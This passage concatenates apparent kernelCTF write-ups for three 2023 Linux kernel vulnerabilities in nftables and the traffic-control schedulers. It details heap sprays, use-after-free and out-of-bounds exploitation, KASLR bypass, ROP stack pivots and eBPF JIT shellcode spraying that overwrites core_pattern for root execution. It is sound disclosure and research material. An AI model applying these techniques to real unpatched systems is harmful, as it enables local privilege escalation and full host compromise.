To ensure good stability we use the zoneinfo parsing technique to detect the allocation of the new kmalloc-128 slab.
This is done in the prepare_slab() function.
We also need a place to store the fake nft_chain_type object pointed to by nft_base_chain->type and warncomm technique was used for that.

## Pivot to ROP

When ops_unregister is called, RSI contains a pointer to the ops field at the beginning of the fake base chain object.

This means we only need 2 gadgets to pivot to the ROP chain:

push rsi
jmp qword ptr [rsi + 0xF]

and

pop rsp

## Second pivot

Our objects are quite small (128 bytes) and we have to jump over important fields like flags or type, so to be able to run the whole privilege escalation ROP we need to first pivot again to a large area.
This is done by choosing an unused read/write area in the kernel and using copy_user_generic_string() to copy the second stage ROP from userspace to that area.
Then we use a `pop rsp ; ret` gadget to pivot there.

## Privilege escalation

The ROP chain does the standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and returns to the userspace.

---

### Pocs Linux Kernelctf CVE 2023 3610 Cos Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3610_cos/docs/vulnerability.md`)

## Requirements to trigger the vulnerability

- CAP_NET_ADMIN in a namespace is required
- Kernel configuration: CONFIG_NF_TABLES
- User namespaces required: yes

## Commit which introduced the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d0e2c7de92c7f2b3d355ad76b0bb9fc43d1beb87

## Commit which fixed the vulnerability

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=4bedf9eee016286c835e3d8fa981ddece5338795

## Affected kernel versions

Introduced in 5.9. Fixed in 5.15.119 and other stable trees.

## Affected component, subsystem

net/netfilter

## Description

Nftables uses batch transactions when updating the ruleset to attempt to have atomicity.
This approach was a source of many vulnerabilities, mainly of use-after-free type.

In this case the vulnerability affects the handling of bound chains.
This is a special type of a chain that is bound to an expression that refers to it (e.g. a jump) and removed at the same time as the referring expression.

If following objects are created in the transaction:
- a bound chain "victim"
- rule with an immediate expression referring to "victim" and an invalid expression after that.

then the transaction is aborted and chain "victim" is removed in nft_immediate_destroy(), but it is still on the commit list and \_\_nf_tables_abort() will try to destroy it again:

list_for_each_entry_safe_reverse(trans, next, &nft_net->commit_list,
                                     list) {
            switch (trans->msg_type) {

...
case NFT_MSG_NEWCHAIN:
if (nft_trans_chain_update(trans)) {
free_percpu(nft_trans_chain_stats(trans));
kfree(nft_trans_chain_name(trans));
nft_trans_destroy(trans);
} else {
if (nft_chain_is_bound(trans->ctx.chain)) { // [1]
nft_trans_destroy(trans);
break;
}
trans->ctx.table->use--;
nft_chain_del(trans->ctx.chain);
nf_tables_unregister_hook(trans->ctx.net,
trans->ctx.table,
trans->ctx.chain);
}
break;

...
list_for_each_entry_safe_reverse(trans, next,
&nft_net->commit_list, list) {
list_del(&trans->list);
nf_tables_abort_release(trans);
}
...

The code tries to check the bound status at [1], but trans->ctx.chain points to already freed memory (use-after-free).

---

### Pocs Linux Kernelctf CVE 2023 3611 Lts Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3611_lts_mitigation/docs/exploit.md`)

Exploit Details
===============

Exploit demo for CVE-2023-3611.
Flags:
- `kernelCTF{v1:lts-6.1.35:1688135277:098358ab92b525678de0c42817048d693400c68e}`
- `kernelCTF{v1:mitigation-6.1-v2:1688982924:6bdfebbb5220c89a748c8c7a0fbeec5d34988932}`

Note: The original mitigation exploit targeted the `mitigation-6.1-broken` instance, it was later modified to work on `mitigation-6.1-v2`.


# LTS
## Summary

At a high level the exploit performs the following:

- Trigger the vulnerability into a user controlled buffer, leaving us with a controllable `struct qfq_group` object
- Choose the object in such a way that we can trigger an OOB write into `struct qfq_sched`
- Use this write to achieve an UaF in the `kmalloc-128` cache
- Pivot to `struct tcf_proto` objects to obtain an KASLR leak as well as RIP control when we reclaim the object
- Pivot the stack back into a user controlled buffer in the `kmalloc-8192` cache.

## Steps in Detail

### Step 1: Abusing the Vulnerability

Triggering the vulnerability is trivial, though actually taking something useful
out of the out-of-bounds group is not obvious.
Even though the pointer is used in a few places I only identified few places which
seem particularly interesting from a exploitation perspective. We will focus on
the following:
```c
static void qfq_schedule_agg(struct qfq_sched *q, struct qfq_aggregate *agg)
{
	struct qfq_group *grp = agg->grp;
// ...
	s = qfq_calc_state(q, grp);
	__set_bit(grp->index, &q->bitmaps[s]); // [1]
// ...
}

Looking at qfq_schedule_agg we can see that we have a bit set operation at a controlled index [1].
The idea will be to flip a bit on a pointer to eventually cause a type confusion.
Looking at the struct qfq_sched we can see that there are only few members
available to us after the bitmaps[] member (we cannot use a negative index).

struct qfq_sched {
	struct tcf_proto __rcu *filter_list;
	struct tcf_block	*block;
	struct Qdisc_class_hash clhash;

	u64			oldV, V;	/* Precise virtual times. */
	struct qfq_aggregate	*in_serv_agg;   /* Aggregate being served. */
	u32			wsum;		/* weight sum */
	u32			iwsum;		/* inverse weight sum */

	unsigned long bitmaps[QFQ_MAX_STATE];	    /* Group bitmaps. */
	struct qfq_group groups[QFQ_MAX_INDEX + 1]; /* The groups. */
	u32 min_slot_shift;	/* Index of the group-0 bit in the bitmaps. */

	u32 max_agg_classes;		/* Max number of classes per aggr. */
	struct hlist_head nonfull_aggs; /* Aggs with room for more classes. */
};

The nonfull_aggs member is interesting as this list will be used to lookup
aggregates when creating new classes:

static struct qfq_aggregate *qfq_find_agg(struct qfq_sched *q,
					  u32 lmax, u32 weight)
{
	struct qfq_aggregate *agg;

	hlist_for_each_entry(agg, &q->nonfull_aggs, nonfull_next)
		if (agg->lmax == lmax && agg->class_weight == weight)
			return agg;

	return NULL;
}

The idea will be to smuggle a fake qfq_aggregate into the qdisc which is
hopefully freed when destroying the class that possesses it.
This way we can have a UaF in the kmalloc-128 slab.
A suitable fake qfq_aggregate needs to allow full control of the relevant members
(lmax, class_weight, num_classes).
In order to smuggle the fake object, we will flip a bit of the nonfull_aggs list
member to hopefully point to our controlled object:

+-qfq qdisc----+
| ...          |
| filter_list  |
| ...          |                                   +-fake object---+
| bitmaps[]    |                                   |               |
| groups[]     |                                   |               |
| ...          |                                   +---------------+
| nonfull_aggs | -------x-------------+
+--------------+        x             |
                        x             +-----> 0200 +-qfq_aggregate-+
+-controlled o-+        x flip                     |               |
| ...          |        x a bit                    |               |
| fake grp {}  |        x                          +---------------+
|              |        x
| ...          |        x-------------------> 0280 +-fake object---+
| ...          |                                   |               |
|              |                                   |               |
+--------------+                                   +---------------+

By targeting a bit of the nonfull_aggs member of the qdisc object we will
potentially be able to inject a fake struct qfq_aggregate object into the
qdisc.

Step 1.1: QFQ Internal State Control

Looking at the code in qfq_change_class() we can see that qfq_add_to_agg()
is called with the new agg after triggering the vulnerability:

// net/sched/sch_qfq.c

/* Add class to aggregate. */
static void qfq_add_to_agg(struct qfq_sched *q,
			   struct qfq_aggregate *agg,
			   struct qfq_class *cl)
{
	cl->agg = agg;

	qfq_update_agg(q, agg, agg->num_classes+1); // [1]
	if (cl->qdisc->q.qlen > 0) { /* adding an active class */
		list_add_tail(&cl->alist, &agg->active);
		if (list_first_entry(&agg->active, struct qfq_class, alist) ==
		    cl && q->in_serv_agg != agg) /* agg was inactive */
			qfq_activate_agg(q, agg, enqueue); /* schedule agg */   // [2]
	}
}

After the out-of-bound group is stored into the aggregate in [1] we can
hit qfq_activate_agg() [2].

/* Update agg ts and schedule agg for service */
static void qfq_activate_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
			     enum update_reason reason)
{
	agg->initial_budget = agg->budget = agg->budgetmax; /* recharge budg. */

	qfq_update_agg_ts(q, agg, reason);
	if (q->in_serv_agg == NULL) { /* no aggr. in service or scheduled */
		q->in_serv_agg = agg; /* start serving this aggregate */
		 /* update V: to be in service, agg must be eligible */
		q->oldV = q->V = agg->S;
	} else if (agg != q->in_serv_agg)
		qfq_schedule_agg(q, agg); // [3]
}

After passing the checks in qfq_activate_agg() we will call the desired
qfq_schedule_agg() [3].

In order to hit these code paths we need to fullfill certain constraints:

1. q->in_serv_agg != NULL and q->in_serv_agg != new_oob_agg
2. (sub) qdisc of the owning class of the aggregate needs to be non-empty (cl->qdisc->q.qlen > 0)

We can control q->in_serv_agg by enqueuing packets:

static int qfq_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
// ...
	qfq_activate_agg(q, agg, enqueue);
// ...
}

Initially q->in_serv_agg will be NULL, thus we will hit the second branch
in qfq_activate_agg() (see above).

The problem is that, right after enqueuing the packet, the dequeue operation
will reset the state (unless we generate enormous amounts of traffic so that
the scheduling actually kicks in, which however still leaves us with a race).
In order to work around that problem we will modify the sub qdisc of the class
to be a netem qdisc, which allows us to add a generously chosen delay, so that
the dequeue operation fails because no packet is available yet.
This will issue a warning in qfq_peek_skb(), but that will not be problem for us.

This solves constraint number one. As a bonus this naturally solves constraint
number two because the underlaying netem qdisc has in fact packets queued,
they are just delayed.

We need to send packets to the qdisc to trigger the vulnerability anyway, so
we can combine those goals.
After corrupting an aggregate using the vulnerability, the qdisc is in a very unstable
state, so we have to make sure, that the packet that triggers the vulnerability is dropped
(and the ones after, too).
This will prevent further calls to qfq_activate_agg() and a lot of code paths in
qfq_dequeue() which are likely to make the kernel panic with the fake group in place.
In order to achieve that we will set the limit for the configured netem qdisc
accordingly, dropping packets after the limit was reached.

Finally, also note that we setup the sizetable in such a way that it performs a table lookup
to get the resulting packet size. This way we can choose our packets accordingly
in order to trigger the vulnerability only when we want to.

Step 2: Heap Spray Copy Section

Step 2.1: QFQ Qdiscs and `kmalloc-8192`

To successfully make use of the vulnerability we need a controllable object in
the kmalloc-8192 cache.

The qdisc is allocated by qdisc_alloc():

// qdisc_alloc() in net/sched/sch_generic.c
	struct Qdisc *sch;

// ..

	dev = dev_queue->dev;
	sch = kzalloc_node(size, GFP_KERNEL, netdev_queue_numa_node_read(dev_queue));

Thus we need an object which is allocated using GFP_KERNEL as well.
Though the choice might be questionable in hindsight, I chose the well known
struct user_key_payload for this purpose, as this structure can be allocated
with variable sizes in 24 < 32767 + 24.
One downside of the key structure is the fact that we can only allocate a few
of them because our quota is (by default) limited to 20000 bytes.
Besides that we can easily control a qfq_group object at our desired offset
according to the lmax we set when triggering the vulnerability:

struct qfq_group {
	u64 S, F;			/* group timestamps (approx). */
	unsigned int slot_shift;	/* Slot shift. */
	unsigned int index;		/* Group index. */
	unsigned int front;		/* Index of the front slot. */
	unsigned long full_slots;	/* non-empty slots */

	/* Array of RR lists of active aggregates. */
	struct hlist_head slots[QFQ_MAX_SLOTS];
};

Because of the restrictions we can only spray 3-4 fake objects which greatly
reduces the chances of hitting the correct object when triggering the vulnerability.

We will spray several qdiscs to groom the heap.
After that we will spray a few key payloads and hope that one of them lands right after
the last qdisc we sprayed.
The enqueue operation is naturally prone to kernel panics, and unluckily especially
when the fake object is containing zeros only, which is somewhat likely in the
rather less used kmalloc-8192.

There are several strategies to make it more stable, but we are happy with the
roughly 25% of the naive approach.

In order to spray qdiscs we will create child processes, each with a new
network namespace to easily generate loopback devices to attach qdiscs to.
The only real requirement of the payload is to have the correct grp->index
set. Additionally keeping all other fields zero ensures that adding nodes to the
grp->slots[] lists does not cause any troubles.

An advantage of using struct user_key_payload is the fact, that we know when the heap
spray succeeded because qfq_slot_insert() will add the aggregate pointer into the
slots array of the group we control:

static void qfq_slot_insert(struct qfq_group *grp, struct qfq_aggregate *agg,
			    u64 roundedS)
{

// ..

	hlist_add_head(&agg->next, &grp->slots[i]);
	__set_bit(slot, &grp->full_slots);
}

With the key control we can then read the key back and check if we got a kernel
heap pointer.
As a bonus, we can check if the pointer has the relevant bit that we want to flip
unset, so that we know whether the bitflip succeeded.
If it failed and we got that far, we can easily retry.

Step 2.2: qfq_aggregate and `kmalloc-128`

Since we already utilized struct user_key_payload, we will do so again.
The payloads are much smaller now, too, so we do not have to worry about quota restrictions.

Looking at the struct qfq_aggregate we can see that all the relevant fields can
be controlled with a small key payload:

struct qfq_aggregate {
  struct hlist_node          next;                 /*     0    16 */
  u64                        S;                    /*    16     8 */

  // start of user controllable data:
  u64                        F;                    /*    24     8 */
  struct qfq_group *         grp;                  /*    32     8 */
  u32                        class_weight;         /*    40     4 */
  int                        lmax;                 /*    44     4 */
  u32                        inv_w;                /*    48     4 */
  u32                        budgetmax;            /*    52     4 */
  u32                        initial_budget;       /*    56     4 */
  u32                        budget;               /*    60     4 */
  /* --- cacheline 1 boundary (64 bytes) --- */
  int                        num_classes;          /*    64     4 */

  u8 __pad0[4]; /* XXX 4 bytes hole, try to pack */

  struct list_head           active;               /*    72    16 */
  struct hlist_node          nonfull_next;         /*    88    16 */

  /* size: 104, cachelines: 2, members: 13 */
  /* sum members: 100, holes: 1, sum holes: 4 */
  /* last cacheline: 40 bytes */
}

By choosing a unique lmax for this aggregate we can identify it later.
Keeping the list heads NULL will be fine, since they will be initialized
by the kernel code if they are not yet.
Leaving grp equal to NULL will make the kernel code overwrite it with a
pointer into the q as well (see qfq_update_agg()).
We will choose num_classes to be equal to 0 so that deletion of the
to-be-owning class will cause the fake aggregate to be freed.

This will achieve a couple of things:

• We can craft a fake aggregate without needing any knowledge of kernel pointers
  (even though we would know the pointer of the aggregate we are faking).
• We have a unique identifier to make sure that the spray was successful before
  getting the kernel unstable
• When reading back the corrupted key payload, we have another leak to kernel heap
  memory. Specifically the kmalloc-8192 cache this time. This allows us to
  precisely locate our initial key buffer, too.

We will spray a few fake aggregates before triggering the vulnerability
and a few after the trigger. This way we hopefully increase our chances to
win the bit flip.

Step 3: Trigger Use-after-Free Copy Section

To recap, at this point we have the following:

• A QFQ qdisc in kmalloc-8192, right behind it a user controlled buffer
  • we know the pointers of both of them
• A qfq_class with a fake qfq_aggregate which is actually a user_key_payload we control
  • we know the pointer of this buffer as well

We can now free the aggregate by deleting the class we attached it to.

Looking for objects which can be used to reclaim the freed aggregate I found
the struct tcf_proto (in include/net/sch_generic.h):

struct tcf_proto {
  void*         next;                 /*     0     8 */
  void *                     root;                 /*     8     8 */
  int                        (*classify)(struct sk_buff *, const struct tcf_proto  *, struct tcf_result *); /*    16     8 */

  // start of user controllable data
  u16                     protocol;             /*    24     2 */

  /* XXX 2 bytes hole, try to pack */
  u8 __pad0[2];

  u32                        prio;                 /*    28     4 */
  void *                     data;                 /*    32     8 */
  const struct tcf_proto_ops  * ops;               /*    40     8 */
  struct tcf_chain *         chain;                /*    48     8 */
  u32                 lock;                 /*    56     4 */
  u8                       deleting;             /*    60     1 */

  /* XXX 3 bytes hole, try to pack */
  u8 __pad1[3];

  /* --- cacheline 1 boundary (64 bytes) --- */
  u32                 refcnt;               /*    64     4 */

  /* XXX 4 bytes hole, try to pack */
  u8 __pad2[4];

  u8       rcu[16];
  struct hlist_node          destroy_ht_node;      /*    88    16 */

  /* size: 104, cachelines: 2, members: 13 */
  /* sum members: 95, holes: 3, sum holes: 9 */
  /* forced alignments: 1, forced holes: 1, sum forced holes: 4 */
  /* last cacheline: 40 bytes */
};

By reclaiming the freed struct qfq_aggregate with this object, we will be able
to leak a pointer which allows us to bypass KASLR (*ops).
Additionally we can later overwrite the ops to gain RIP control.
This structure is particularly well suited for this, as you will see later.

Leaking the structure contents turns out to be non-trivial.
The classify member of the struct tcf_proto (a shortcut to ops->classify)
will overlap with the size field of struct user_key_payload at offset 16.
This size field is a u16, thus the lowest to bytes of the classify function pointer.
The problem is that keyctl_read_key in security/keys/keyctl.c will either read
the whole key or no key at all.
This means have to survive a kernel heap read up to the size specified by the kernel
pointer.
Especially with the guard pages present, this will likely fail.
In order to circumvent this problem we will choose a classifier with a "low" address.
Specifically we choose rsvp because it has the lowest available:

$ cat kallsyms | grep -Ew "basic_classify|cls_bpf_classify|cls_cgroup_classify|fw_classify|route4_classify|u32_classify|rsvp_classify"
ffffffff89cdba10 t u32_classify
ffffffff89cdef10 t route4_classify
ffffffff89cdf300 t fw_classify
ffffffff89ce1710 t rsvp_classify
ffffffff89ce27d0 t basic_classify
ffffffff89ce3320 t cls_cgroup_classify
ffffffff89ce3c30 t cls_bpf_classify

This means we only have to copy 0x1710 bytes which works well practically.

Step 4: Getting RIP Control Copy Section

By overwriting the ops member of the aforementioned struct tcf_proto we are
on a good way to gain arbitrary kernel code execution.

Looking through references to the available function pointers I chose the path
through tc_get_tfilter():

static int tc_get_tfilter(struct sk_buff *skb, struct nlmsghdr *n,
			  struct netlink_ext_ack *extack) {
	struct tcf_proto *tp = NULL;

// ...

	tp = tcf_chain_tp_find(chain, &chain_info, protocol,
			       prio, false); // [1]

// ...

	fh = tp->ops->get(tp, t->tcm_handle); // [2]

	if (!fh) {
		NL_SET_ERR_MSG(extack, "Specified filter handle not found");
		err = -ENOENT;
	} else {
		err = tfilter_notify(net, skb, n, tp, block, q, parent,
				     fh, RTM_NEWTFILTER, true, rtnl_held); // [3]
		if (err < 0)
			NL_SET_ERR_MSG(extack, "Failed to send filter notify message");
	}

// ...

}

static int tcf_fill_node(struct net *net, struct sk_buff *skb,
			 struct tcf_proto *tp, struct tcf_block *block,
			 struct Qdisc *q, u32 parent, void *fh,
			 u32 portid, u32 seq, u16 flags, int event,
			 bool terse_dump, bool rtnl_held)
{

// ...

		// [4]
		if (tp->ops->dump &&
		    tp->ops->dump(net, tp, fh, skb, tcm, rtnl_held) < 0)
			goto nla_put_failure;

// ...
}

First the structure is retrieved [1]. We will have a closer look at this later.
After that the ops->get() function is invoked, with rdi pointing to the buffer
itself and rsi pointing to a handle we specified.

I could not find a proper stack pivoting gadget which would jump to memory controlled
by rdi so we will pursue a different idea:
We will set ops->get to point to a gadget which will simply return rdi.
This way, we will eventually call tcf_fill_node() in tfilter_notify() [3].
In tcf_fill_node() ops->dump() [4] is invoked, now with more control over
the parameters. Even though we have useful pointers available in both rsi
and rdx, the following stack pivot will only use rsi:

We will set ops->dump() to the following gadget:

push rsi;
jmp [rsi + 0x39]

With this gadget we can perform a stack pivot into our fake struct tcf_proto.
Since this object is quite small (and some fields are constrained), we will
pivot the stack again.
Naturally a good target is the large buffer in kmalloc-8192 because we already
know the address and we have plenty of space there.
Note that we cannot modify the key payload, thus have to free it and repeat the
spray.
Also, note that the ops member is introducing one level of pointer indirection,
but we will use the large buffer for that, too.

In order to do the first pivot, we choose the following gadget chain:

pop rsp;
add rsp, 0x18;
pop rbx;
pop rbp;
pop r12;
ret;

This chain is specifically chosen to overlay the struct tcf_proto in such a way
that it does not touch any vital members.

We can control rbp with this chain, thus we use the following gadget to pivot
to the prepared stack in the large buffer:

mov rsp, rbp;
pop rbp;
ret

After that we are on a large stack without any constraints, thus assembling a
standard ROP payload escalating privileges and escaping the sandbox is trivial.

Step 4.1: Stabilizing the Trigger

As mentioned earlier struct tcf_proto is a very good choice as an
overwrite target.
Looking at the way the fake structure is retrieved we will see that we
can make use of the error conditions in order to make the trigger completely stable.

// in tc_get_tfilter()
	if (!tp || IS_ERR(tp)) {
		NL_SET_ERR_MSG(extack, "Filter with specified priority/protocol not found");
		err = tp ? PTR_ERR(tp) : -ENOENT; // [1]
		goto errout;
	} else if (tca[TCA_KIND] && nla_strcmp(tca[TCA_KIND], tp->ops->kind)) {
		NL_SET_ERR_MSG(extack, "Specified filter kind does not match existing one");
		err = -EINVAL; // [2]
		goto errout;
	}

By choosing a unique protocol and priority for the fake tcf_proto we can
prevent wrong structures from being found.
If the kernel cannot find the requested protocol / priority it will issue an
ENOENT [1]. By catching this error we know whether the initial spray
of the fake tcf_proto succeeded.
If it did not, we can simply retry.

When the kernel found the fake tcf_proto, it will compare tp->ops->kind to
the requested kind. By choosing a unique kind here as well, we will be able
to tell whether the spray of the large objects succeeded because we can
observe the error EINVAL if it was wrong.
No code will be executed before that.

General Notes on the Exploit Copy Chapter

The exploit makes heavy use of multiprocessing in order to simplify the use
of the network namespaces (we use one network namespace for each QFQ qdisc we
create.)

The main function of the exploit performs coordination of the child processes.
The children will notify the parent through a simple wait based event system.
For the first 3 steps a process is repeatedly cloned into bug_worker() until
we identified one worker which is actually triggering the vulnerability (still
inside that worker).
Finally, the spraying of struct tcf_proto and eventually triggering the RIP
control is done by another worker process final_stage_worker().

There is one additional worker process which is handling everything related to
the sprayed keys. We need this process because keys are generally scoped by
permissions. To not care about that we have one dedicated process which owns
all the keys and just acts on demand.

Finally note that the exploit does not make use of any netlink library or the like.
Therefor, you may notice that the code related to netlink is quite verbose.

Stability Copy Section

The main problem is the initial heap spray where we try to land a large key payload
after the victim qdisc.
Because we only have 3 key payloads available we are unlikely to hit this scenario.
Depending on the instance the success rate was about 30-50%.
I later discovered that this step could be made much more stable by using different
CPUs for the main orchestration and the workers.
Additionally using another object to perform the kmalloc-8192 spray may be
beneficial, because the limited quota greatly decreases the chances of hitting
a "good" layout. One such object would be struct qdisc_size_table as briefly
described in the related mitigation exploits.

The last steps are quite stable and work almost all of the time.

Finally, one should note that the exploit is not performing a decent
post-exploitation cleanup.
The vulnerable QFQ qdisc class is not properly cleaned up, thus
as soon as the timers for dequeue operations fire, the kernel will likely
panic.

Mitigation

The exploit for the mitigation instance largely follows that of CVE-2023-31436,
thus I will not go into too much detail on it.
The main difference is the way we trigger the vulnerability.
(The exploit for CVE-2023-31436 was obviously designed to work for both).

In summary, instead of the process described above we will directly corrupt the
filter_list member of qfq_sched.
We need a three-way layout in order for that to work (we are targeting the qdisc
which lies after the controlled buffer).
This will cause a type confusion for the struct tcf_proto object which we trivially
expand into RIP control using struct xdp_umem.

Triggering the vulnerability imposes additional constraints on the sprayed sizetables.
Since the group object we want to control is far into the sizetable this is no
problem and can be setup similarly to the LTS version.

Pocs Linux Kernelctf CVE 2023 3611 Lts Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-3611_lts_mitigation/docs/vulnerability.md`) Copy Section

Vulnerability Details

CVE-2023-3611: An out-of-bounds write vulnerability in the Linux kernel's net/sched: sch_qfq component can be exploited to achieve local privilege escalation. The qfq_change_agg() function in net/sched/sch_qfq.c allows an out-of-bounds write because lmax is updated according to packet sizes without bounds checks.

This vulnerability affects the packet scheduler subsystem, specifically QFQ+.

An attacker can utilize this vulnerability to cause a slab-out-of-bounds read/write in the kmalloc-8192 cache.

Requirements Copy Chapter

A user needs to be able to modify qdiscs, thus requiring CAP_NET_ADMIN.
Naturally this will be obtained through usernamespaces, thus one may require CONFIG_USER_NS.

The specific qdisc in question is QFQ, which needs to be enabled CONFIG_NET_SCH_QFQ.

History Copy Chapter

The fixing commit is https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3e337087c3b5805fe0b8a46ba622a962880b5d64
This is a fix for 462dbc9101ac ("pkt_sched: QFQ Plus: fair-queueing service at DRR cost") dating back to 2012.
Based on this I assume 3.0.x+ is affected.

Triggering the Vulnerability Copy Chapter

The issue is similar to CVE-2023-31436.

Consider the following code in net/sched/sch_qfq.c:

static int qfq_enqueue(struct sk_buff *skb, struct Qdisc *sch,
                struct sk_buff **to_free)
{
     unsigned int len = qdisc_pkt_len(skb), gso_segs;

    // ...

     if (unlikely(cl->agg->lmax < len)) {
         pr_debug("qfq: increasing maxpkt from %u to %u for class %u",
              cl->agg->lmax, len, cl->common.classid);
         err = qfq_change_agg(sch, cl, cl->agg->class_weight, len);
         if (err) {
             cl->qstats.drops++;
             return qdisc_drop(skb, sch, to_free);
         }

    // ...

     }

Here lmax is increased without any bounds checks according to the packet length len.
Usually this would not impose a problem because packet sizes are naturally limited.
This is however not the actual packet length, rather the qdisc_pkt_len(skb) which might apply size transformations according to struct qdisc_size_table as created by qdisc_get_stab() in net/sched/sch_api.c if the TCA_STAB option was set when modifying the qdisc.
A user may choose virtually any size using such a table.

qfq_init_agg() will then set new_agg->lmax accordingly.
Eventually qfq_add_to_agg() will initialize new_agg->grp when the call tree reaches qfq_update_agg():

// qfq_update_agg() in net/sched/sch_qfq.c
	agg->budgetmax = new_num_classes * agg->lmax;
	new_agg_weight = agg->class_weight * new_num_classes;
	agg->inv_w = ONE_FP/new_agg_weight;

	if (agg->grp == NULL) {
		int i = qfq_calc_index(agg->inv_w, agg->budgetmax,
				       q->min_slot_shift);
		agg->grp = &q->groups[i];
	}

qfq_calc_index() performs some simple arithmetics to choose the final value, but will not do any additional bounds checks. Eventually this results in agg->grp pointing out-of-bounds relative to the q object of type struct qfq_sched (in the kmalloc-8192 cache).

The group of the qfq_aggregate is used in several places, leading to OOB reads and writes.

Pocs Linux Kernelctf CVE 2023 3776 Cos Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-3776_cos_mitigation/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

Using this vulnerability, we can set reference counter of qdisc class to 0, and then free qdisc class (by deleting the class) while it still attached to the active filter.
When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class.
Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer.

Snippet code if we use drr_class as target object as target object.

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	int err = 0;
	bool first;

	cl = drr_classify(skb, sch, &err); // [1]
	...
	err = qdisc_enqueue(skb, cl->qdisc, to_free);
	...
	return err;
}

static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
				struct sk_buff **to_free)
{
	qdisc_calculate_pkt_len(skb, sch);
	return sch->enqueue(skb, sch, to_free); // [2]
}

In [1], drr_classify will return freed drr_class, then this freed object is used to get the qdisc object via cl->qdisc and passed to qdisc_enqueue function. If we can control cl->qdisc->enqueue we can get RIP control at [2].

Target objects Copy Section

Our target objects is struct drr_class that resides inside kmalloc-128.

Spray objects Copy Section

For LTS/COS instance

Since there is no CONFIG_KMALLOC_SPLIT_VARSIZE, we can reallocated struct drr_class with ctl_buf. We use sendmsg to spray ctl_buf with controlled data in line [3].

static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
			   unsigned int flags, struct used_address *used_address,
			   unsigned int allowed_msghdr_flags)
...
		BUILD_BUG_ON(sizeof(struct cmsghdr) !=
			     CMSG_ALIGN(sizeof(struct cmsghdr)));
		if (ctl_len > sizeof(ctl)) {
			ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
			if (ctl_buf == NULL)
				goto out;
		}
		err = -EFAULT;
		if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) //[3]
			goto out_freectl;

For Mitigation instance

Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out struct ctnetlink_filter is in the right cache. We can spray it and put payload.

static struct ctnetlink_filter *
ctnetlink_alloc_filter(const struct nlattr * const cda[], u8 family)
{
	struct ctnetlink_filter *filter;
	int err;
...

	filter = kzalloc(sizeof(*filter), GFP_KERNEL);
...
	err = ctnetlink_filter_parse_mark(&filter->mark, cda);
	if (err)
		goto err_filter;

	err = ctnetlink_parse_filter(cda[CTA_FILTER], filter);
	if (err < 0)

This technique allows 8-byte overwrite at offset 0x60 but requires CONFIG_NF_CONNTRACK_MARK (+ CONFIG_NETFILTER_ADVANCED + CONFIG_NETFILTER) enabled.

KASLR Bypass Copy Section

Spray eBPF programs

Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode.

Linux kernel provide a socket option SO_ATTACH_FILTER and let user to attach a classic BPF program to the socket for use as a filter of incoming packets.

By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel.

struct sock_fprog prog = {
        .len =  TSIZE,
        .filter = filter,
    };
    for(int i=0;i<NUM;i++){
        int fd[2];
        SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd));
        SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog)));
    }

As for the shellcode in our eBPF program, our goal is to overwrite /proc/sys/kernel/core_pattern so later we can execute command as root by triggering crash. Here's what our shellcode did to achieve our goal:

• Use the rdmsr instruction to obtain the kernel text address. With RCX being set to MSR_LSTAR ( 0xc0000082 ), we'll be able to obtain the address of entry_SYSCALL_64.
• Calculate the address of core_pattern and _copy_from_user.
• Call _copy_from_user(core_pattern, user_buf, 0x30);, where user_buf is a buffer in user space that stores the content we want to overwrite in core_pattern.

We construct our eBPF program with the following form:

struct sock_filter table[] = {
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        .....................
};

The above example will be compiled into the following instructions after JIT:

b8 90 90 90 b3    mov eax, 0xb3909090
b8 90 90 90 b3    mov eax, 0xb3909090

If we can control kernel RIP to jump into the NOP instruction ( 0x90 ), the code will become:

90       nop 
b3 b8    mov    bl, 0xb8
90       nop
90       nop
90       nop
b3 b8    mov    bl, 0xb8
....

We can see that by using an extra byte 0xb3, we can skip the useless byte 0xb8 and execute our own shellcode. Notice that due to the "skipping part", we only have 3 bytes of space in each instruction, so we'll have to take care of that as well during our shellcode construction.

Put payload in fixed kernel address (CVE-2023-0597)

Linux kernel maps cpu_entry_area into a fixed kernel address in x86 and that region is also used as exception stack. We can put our payload in the registers and trigger exception from user space. The exception handler will push our registers in the exception stack, allowing us to control data in fixed kernel address.

Catch the signals and skip the offending instruction.

signal(SIGFPE, handle);
    signal(SIGTRAP, handle);
    signal(SIGSEGV, handle);
    setsid();
    foo(payload);

Put our payload on registers in specific order

foo:
	mov rsp,rdi
	pop r15
	pop r14
	pop r13
	pop r12
	pop rbp
	pop rbx
	pop r11
	pop r10
	pop r9
	pop r8
	pop rax
	pop rcx
	pop rdx
	pop rsi
	pop rdi
	div qword [0x1234000] ; trigger div 0 exception

As a result, we can control about 0x80 bytes in fixed kernel address.

RIP Control Copy Section

We set cl->qdisc to fixed kernel address that contain our controlled value, and then set enqueue function pointer to guessed ebpf JIT address.

